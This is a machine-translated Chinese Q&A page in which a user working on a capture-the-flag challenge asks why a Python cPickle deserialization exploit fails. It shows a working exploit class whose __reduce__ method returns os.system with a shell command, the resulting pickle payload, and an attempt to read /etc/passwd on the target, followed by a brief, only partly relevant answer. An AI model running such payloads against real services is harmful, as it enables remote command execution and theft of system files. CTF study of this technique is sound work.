序列化不适用于cPickle

时间:2018-04-17 04:37:25

标签: python security pickle

我正在尝试为CTF执行cPickle反序列化。我正在开发一个反序列化漏洞的漏洞,尝试生成一个python类,它将在反序列化时在服务器上运行命令,遵循以下示例:https://lincolnloop.com/blog/playing-pickle-security/

import os
import cPickle

# Exploit that we want the target to unpickle
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('ls',))

shellcode = cPickle.dumps(Exploit())
print shellcode

问题是我试图利用的服务器没有" os"或者"子流程"包含的模块,所以我无法运行shell命令。我尝试使用以下代码生成的对象读取本地文件:

class Exploit(object):
    def __reduce__(self):
        data = open("/etc/passwd", "rb").read()
        return data

shellcode = cPickle.dumps(Exploit()) print shellcode

但是当我尝试运行它来生成有效负载时,它会尝试读取我的本地/ etc / passwd文件并失败并显示错误消息:

  

shellcode = cPickle.dumps(Exploit())
  cPickle.PicklingError:无法挑选< main .Exploit对象at   0x7f14ef4b39d0>:属性查找 main .root:x:0:0:root:/ root:/ b   in / sh(/ etc / passwd继续)

当我运行第一个例子时,它会成功生成以下pickle(并且不会尝试在我的机器上执行ls):

cposix
system
p1
(S'ls'
p2
tp3
Rp4
.

那为什么不能使用我的代码?

1 个答案:

答案 0 :(得分:1)

"每当你试图挑选一个对象时,会有一些属性可能无法很好地序列化。例如,一个打开的文件句柄在这种情况下,pickle不知道如何处理该对象并将引发错误。"

What's the exact usage of __reduce__ in Pickler